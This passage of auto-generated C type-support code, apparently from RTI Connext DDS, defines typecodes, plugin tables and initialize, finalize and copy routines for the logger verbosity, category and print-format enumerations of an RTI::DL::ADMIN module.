*/ }, RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_STATUS_LOCAL, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_STATUS_REMOTE",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_STATUS_REMOTE, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_STATUS_ALL",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_STATUS_ALL, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_RTILoggerVerbosity_g_tc = {{ DDS_TK_ENUM, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::RTILoggerVerbosity", /* Name */ NULL, /* Base class type code is assigned later */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 6, /* Number of members */ RTI_DL_ADMIN_RTILoggerVerbosity_g_tc_members, /* Members */ DDS_VM_NONE, /* Type Modifier */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_RTILoggerVerbosity*/ if (is_initialized) { return &RTI_DL_ADMIN_RTILoggerVerbosity_g_tc; } RTI_DL_ADMIN_RTILoggerVerbosity_g_tc._data._annotations._allowedDataRepresentationMask = 5; /* Initialize the values for annotations. */ RTI_DL_ADMIN_RTILoggerVerbosity_g_tc._data._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_RTILoggerVerbosity_g_tc._data._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_RTILoggerVerbosity_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_RTILoggerVerbosity_get_sample_access_info(); RTI_DL_ADMIN_RTILoggerVerbosity_g_tc._data._typePlugin = RTI_DL_ADMIN_RTILoggerVerbosity_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_RTILoggerVerbosity_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_RTILoggerVerbosity_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_RTILoggerVerbosity_g_memberAccessInfos[1] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_RTILoggerVerbosity_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_RTILoggerVerbosity_g_sampleAccessInfo; } RTI_DL_ADMIN_RTILoggerVerbosity_g_memberAccessInfos[0].bindingMemberValueOffset[0] = 0; RTI_DL_ADMIN_RTILoggerVerbosity_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_RTILoggerVerbosity_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_RTILoggerVerbosity); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_RTILoggerVerbosity_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_RTILoggerVerbosity_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_RTILoggerVerbosity_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_RTILoggerVerbosity_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_RTILoggerVerbosity_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_RTILoggerVerbosity_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_RTILoggerVerbosity_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_RTILoggerVerbosity_finalize_w_return, NULL }; return &RTI_DL_ADMIN_RTILoggerVerbosity_g_typePlugin; } #endif RTIBool RTI_DL_ADMIN_RTILoggerVerbosity_initialize( RTI_DL_ADMIN_RTILoggerVerbosity* sample) { *sample = RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_SILENT; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_RTILoggerVerbosity_initialize_ex( RTI_DL_ADMIN_RTILoggerVerbosity* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_RTILoggerVerbosity_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_RTILoggerVerbosity_initialize_w_params( RTI_DL_ADMIN_RTILoggerVerbosity* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } *sample = RTI_DL_NDDS_CONFIG_LOG_VERBOSITY_SILENT; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_RTILoggerVerbosity_finalize_w_return( RTI_DL_ADMIN_RTILoggerVerbosity* sample) { if (sample) {} /* To avoid warnings */ return RTI_TRUE; } void RTI_DL_ADMIN_RTILoggerVerbosity_finalize( RTI_DL_ADMIN_RTILoggerVerbosity* sample) { if (sample==NULL) { return; } } void RTI_DL_ADMIN_RTILoggerVerbosity_finalize_ex( RTI_DL_ADMIN_RTILoggerVerbosity* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_RTILoggerVerbosity_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_RTILoggerVerbosity_finalize_w_params( RTI_DL_ADMIN_RTILoggerVerbosity* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } } void RTI_DL_ADMIN_RTILoggerVerbosity_finalize_optional_members( RTI_DL_ADMIN_RTILoggerVerbosity* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; } RTIBool RTI_DL_ADMIN_RTILoggerVerbosity_copy( RTI_DL_ADMIN_RTILoggerVerbosity* dst, const RTI_DL_ADMIN_RTILoggerVerbosity* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } return RTICdrType_copyEnum((RTICdrEnum *)dst, (RTICdrEnum *)src); } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_RTILoggerVerbosity' sequence class. */ #define T RTI_DL_ADMIN_RTILoggerVerbosity #define TSeq RTI_DL_ADMIN_RTILoggerVerbositySeq #define T_initialize_w_params RTI_DL_ADMIN_RTILoggerVerbosity_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_RTILoggerVerbosity_finalize_w_params #define T_copy RTI_DL_ADMIN_RTILoggerVerbosity_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_RTILoggerCategoryTYPENAME = "RTI::DL::ADMIN::RTILoggerCategory"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_RTILoggerCategory_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode_Member RTI_DL_ADMIN_RTILoggerCategory_g_tc_members[5]= { { (char *)"RTI_DL_NDDS_CONFIG_LOG_CATEGORY_PLATFORM",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_CATEGORY_PLATFORM, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_CATEGORY_COMMUNICATION",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_CATEGORY_COMMUNICATION, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_CATEGORY_DATABASE",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_CATEGORY_DATABASE, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_CATEGORY_ENTITIES",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_CATEGORY_ENTITIES, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_CATEGORY_API",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_CATEGORY_API, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_RTILoggerCategory_g_tc = {{ DDS_TK_ENUM, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::RTILoggerCategory", /* Name */ NULL, /* Base class type code is assigned later */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 5, /* Number of members */ RTI_DL_ADMIN_RTILoggerCategory_g_tc_members, /* Members */ DDS_VM_NONE, /* Type Modifier */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_RTILoggerCategory*/ if (is_initialized) { return &RTI_DL_ADMIN_RTILoggerCategory_g_tc; } RTI_DL_ADMIN_RTILoggerCategory_g_tc._data._annotations._allowedDataRepresentationMask = 5; /* Initialize the values for annotations. */ RTI_DL_ADMIN_RTILoggerCategory_g_tc._data._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_RTILoggerCategory_g_tc._data._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_RTILoggerCategory_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_RTILoggerCategory_get_sample_access_info(); RTI_DL_ADMIN_RTILoggerCategory_g_tc._data._typePlugin = RTI_DL_ADMIN_RTILoggerCategory_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_RTILoggerCategory_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_RTILoggerCategory_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_RTILoggerCategory_g_memberAccessInfos[1] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_RTILoggerCategory_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_RTILoggerCategory_g_sampleAccessInfo; } RTI_DL_ADMIN_RTILoggerCategory_g_memberAccessInfos[0].bindingMemberValueOffset[0] = 0; RTI_DL_ADMIN_RTILoggerCategory_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_RTILoggerCategory_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_RTILoggerCategory); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_RTILoggerCategory_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_RTILoggerCategory_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_RTILoggerCategory_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_RTILoggerCategory_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_RTILoggerCategory_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_RTILoggerCategory_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_RTILoggerCategory_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_RTILoggerCategory_finalize_w_return, NULL }; return &RTI_DL_ADMIN_RTILoggerCategory_g_typePlugin; } #endif RTIBool RTI_DL_ADMIN_RTILoggerCategory_initialize( RTI_DL_ADMIN_RTILoggerCategory* sample) { *sample = RTI_DL_NDDS_CONFIG_LOG_CATEGORY_PLATFORM; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_RTILoggerCategory_initialize_ex( RTI_DL_ADMIN_RTILoggerCategory* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_RTILoggerCategory_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_RTILoggerCategory_initialize_w_params( RTI_DL_ADMIN_RTILoggerCategory* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } *sample = RTI_DL_NDDS_CONFIG_LOG_CATEGORY_PLATFORM; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_RTILoggerCategory_finalize_w_return( RTI_DL_ADMIN_RTILoggerCategory* sample) { if (sample) {} /* To avoid warnings */ return RTI_TRUE; } void RTI_DL_ADMIN_RTILoggerCategory_finalize( RTI_DL_ADMIN_RTILoggerCategory* sample) { if (sample==NULL) { return; } } void RTI_DL_ADMIN_RTILoggerCategory_finalize_ex( RTI_DL_ADMIN_RTILoggerCategory* sample,RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParams = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; if (sample==NULL) { return; } deallocParams.delete_pointers = (DDS_Boolean)deletePointers; RTI_DL_ADMIN_RTILoggerCategory_finalize_w_params( sample,&deallocParams); } void RTI_DL_ADMIN_RTILoggerCategory_finalize_w_params( RTI_DL_ADMIN_RTILoggerCategory* sample,const struct DDS_TypeDeallocationParams_t * deallocParams) { if (sample==NULL) { return; } if (deallocParams == NULL) { return; } } void RTI_DL_ADMIN_RTILoggerCategory_finalize_optional_members( RTI_DL_ADMIN_RTILoggerCategory* sample, RTIBool deletePointers) { struct DDS_TypeDeallocationParams_t deallocParamsTmp = DDS_TYPE_DEALLOCATION_PARAMS_DEFAULT; struct DDS_TypeDeallocationParams_t * deallocParams = &deallocParamsTmp; if (sample==NULL) { return; } if (deallocParams) {} /* To avoid warnings */ deallocParamsTmp.delete_pointers = (DDS_Boolean)deletePointers; deallocParamsTmp.delete_optional_members = DDS_BOOLEAN_TRUE; } RTIBool RTI_DL_ADMIN_RTILoggerCategory_copy( RTI_DL_ADMIN_RTILoggerCategory* dst, const RTI_DL_ADMIN_RTILoggerCategory* src) { if (dst == NULL || src == NULL) { return RTI_FALSE; } return RTICdrType_copyEnum((RTICdrEnum *)dst, (RTICdrEnum *)src); } /** * <<IMPLEMENTATION>> * * Defines: TSeq, T * * Configure and implement 'RTI_DL_ADMIN_RTILoggerCategory' sequence class. */ #define T RTI_DL_ADMIN_RTILoggerCategory #define TSeq RTI_DL_ADMIN_RTILoggerCategorySeq #define T_initialize_w_params RTI_DL_ADMIN_RTILoggerCategory_initialize_w_params #define T_finalize_w_params RTI_DL_ADMIN_RTILoggerCategory_finalize_w_params #define T_copy RTI_DL_ADMIN_RTILoggerCategory_copy #ifndef NDDS_STANDALONE_TYPE #include "dds_c/generic/dds_c_sequence_TSeq.gen" #else #include "dds_c_sequence_TSeq.gen" #endif #undef T_copy #undef T_finalize_w_params #undef T_initialize_w_params #undef TSeq #undef T /* ========================================================================= */ const char *RTI_DL_ADMIN_RTILoggerPrintFormatTYPENAME = "RTI::DL::ADMIN::RTILoggerPrintFormat"; #ifndef NDDS_STANDALONE_TYPE DDS_TypeCode* RTI_DL_ADMIN_RTILoggerPrintFormat_get_typecode() { static RTIBool is_initialized = RTI_FALSE; static DDS_TypeCode_Member RTI_DL_ADMIN_RTILoggerPrintFormat_g_tc_members[7]= { { (char *)"RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_DEFAULT",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_DEFAULT, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_TIMESTAMPED",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_TIMESTAMPED, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_VERBOSE",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_VERBOSE, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_VERBOSE_TIMESTAMPED",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_VERBOSE_TIMESTAMPED, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_DEBUG",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_DEBUG, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_MINIMAL",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_MINIMAL, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER }, { (char *)"RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_MAXIMAL",/* Member name */ { 0, /* Ignored */ DDS_BOOLEAN_FALSE,/* Is a pointer? */ -1, /* Bitfield bits */ NULL/* Member type code is assigned later */ }, RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_MAXIMAL, 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ RTI_CDR_REQUIRED_MEMBER, /* Is a key? */ DDS_PRIVATE_MEMBER,/* Member visibility */ 1, NULL, /* Ignored */ RTICdrTypeCodeAnnotations_INITIALIZER } }; static DDS_TypeCode RTI_DL_ADMIN_RTILoggerPrintFormat_g_tc = {{ DDS_TK_ENUM, /* Kind */ DDS_BOOLEAN_FALSE, /* Ignored */ -1, /*Ignored*/ (char *)"RTI::DL::ADMIN::RTILoggerPrintFormat", /* Name */ NULL, /* Base class type code is assigned later */ 0, /* Ignored */ 0, /* Ignored */ NULL, /* Ignored */ 7, /* Number of members */ RTI_DL_ADMIN_RTILoggerPrintFormat_g_tc_members, /* Members */ DDS_VM_NONE, /* Type Modifier */ RTICdrTypeCodeAnnotations_INITIALIZER, DDS_BOOLEAN_TRUE, /* _isCopyable */ NULL, /* _sampleAccessInfo: assigned later */ NULL /* _typePlugin: assigned later */ }}; /* Type code for RTI_DL_ADMIN_RTILoggerPrintFormat*/ if (is_initialized) { return &RTI_DL_ADMIN_RTILoggerPrintFormat_g_tc; } RTI_DL_ADMIN_RTILoggerPrintFormat_g_tc._data._annotations._allowedDataRepresentationMask = 5; /* Initialize the values for annotations. */ RTI_DL_ADMIN_RTILoggerPrintFormat_g_tc._data._annotations._defaultValue._d = RTI_XCDR_TK_ENUM; RTI_DL_ADMIN_RTILoggerPrintFormat_g_tc._data._annotations._defaultValue._u.long_value = 0; RTI_DL_ADMIN_RTILoggerPrintFormat_g_tc._data._sampleAccessInfo = RTI_DL_ADMIN_RTILoggerPrintFormat_get_sample_access_info(); RTI_DL_ADMIN_RTILoggerPrintFormat_g_tc._data._typePlugin = RTI_DL_ADMIN_RTILoggerPrintFormat_get_type_plugin_info(); is_initialized = RTI_TRUE; return &RTI_DL_ADMIN_RTILoggerPrintFormat_g_tc; } RTIXCdrSampleAccessInfo *RTI_DL_ADMIN_RTILoggerPrintFormat_get_sample_access_info() { static RTIBool is_initialized = RTI_FALSE; static RTIXCdrMemberAccessInfo RTI_DL_ADMIN_RTILoggerPrintFormat_g_memberAccessInfos[1] = {RTIXCdrMemberAccessInfo_INITIALIZER}; static RTIXCdrSampleAccessInfo RTI_DL_ADMIN_RTILoggerPrintFormat_g_sampleAccessInfo = RTIXCdrSampleAccessInfo_INITIALIZER; if (is_initialized) { return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_RTILoggerPrintFormat_g_sampleAccessInfo; } RTI_DL_ADMIN_RTILoggerPrintFormat_g_memberAccessInfos[0].bindingMemberValueOffset[0] = 0; RTI_DL_ADMIN_RTILoggerPrintFormat_g_sampleAccessInfo.memberAccessInfos = RTI_DL_ADMIN_RTILoggerPrintFormat_g_memberAccessInfos; { size_t candidateTypeSize = sizeof(RTI_DL_ADMIN_RTILoggerPrintFormat); if (candidateTypeSize > RTIXCdrUnsignedLong_MAX) { RTI_DL_ADMIN_RTILoggerPrintFormat_g_sampleAccessInfo.typeSize[0] = RTIXCdrUnsignedLong_MAX; } else { RTI_DL_ADMIN_RTILoggerPrintFormat_g_sampleAccessInfo.typeSize[0] = (RTIXCdrUnsignedLong) candidateTypeSize; } } RTI_DL_ADMIN_RTILoggerPrintFormat_g_sampleAccessInfo.languageBinding = RTI_XCDR_TYPE_BINDING_C ; is_initialized = RTI_TRUE; return (RTIXCdrSampleAccessInfo*) &RTI_DL_ADMIN_RTILoggerPrintFormat_g_sampleAccessInfo; } RTIXCdrTypePlugin *RTI_DL_ADMIN_RTILoggerPrintFormat_get_type_plugin_info() { static RTIXCdrTypePlugin RTI_DL_ADMIN_RTILoggerPrintFormat_g_typePlugin = { NULL, /* serialize */ NULL, /* serialize_key */ NULL, /* deserialize_sample */ NULL, /* deserialize_key_sample */ NULL, /* skip */ NULL, /* get_serialized_sample_size */ NULL, /* get_serialized_sample_max_size_ex */ NULL, /* get_serialized_key_max_size_ex */ NULL, /* get_serialized_sample_min_size */ NULL, /* serialized_sample_to_key */ (RTIXCdrTypePluginInitializeSampleFunction) RTI_DL_ADMIN_RTILoggerPrintFormat_initialize_ex, NULL, (RTIXCdrTypePluginFinalizeSampleFunction) RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_w_return, NULL }; return &RTI_DL_ADMIN_RTILoggerPrintFormat_g_typePlugin; } #endif RTIBool RTI_DL_ADMIN_RTILoggerPrintFormat_initialize( RTI_DL_ADMIN_RTILoggerPrintFormat* sample) { *sample = RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_DEFAULT; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_RTILoggerPrintFormat_initialize_ex( RTI_DL_ADMIN_RTILoggerPrintFormat* sample,RTIBool allocatePointers, RTIBool allocateMemory) { struct DDS_TypeAllocationParams_t allocParams = DDS_TYPE_ALLOCATION_PARAMS_DEFAULT; allocParams.allocate_pointers = (DDS_Boolean)allocatePointers; allocParams.allocate_memory = (DDS_Boolean)allocateMemory; return RTI_DL_ADMIN_RTILoggerPrintFormat_initialize_w_params( sample,&allocParams); } RTIBool RTI_DL_ADMIN_RTILoggerPrintFormat_initialize_w_params( RTI_DL_ADMIN_RTILoggerPrintFormat* sample, const struct DDS_TypeAllocationParams_t * allocParams) { if (sample == NULL) { return RTI_FALSE; } if (allocParams == NULL) { return RTI_FALSE; } *sample = RTI_DL_NDDS_CONFIG_LOG_PRINT_FORMAT_DEFAULT; return RTI_TRUE; } RTIBool RTI_DL_ADMIN_RTILoggerPrintFormat_finalize_w_return( 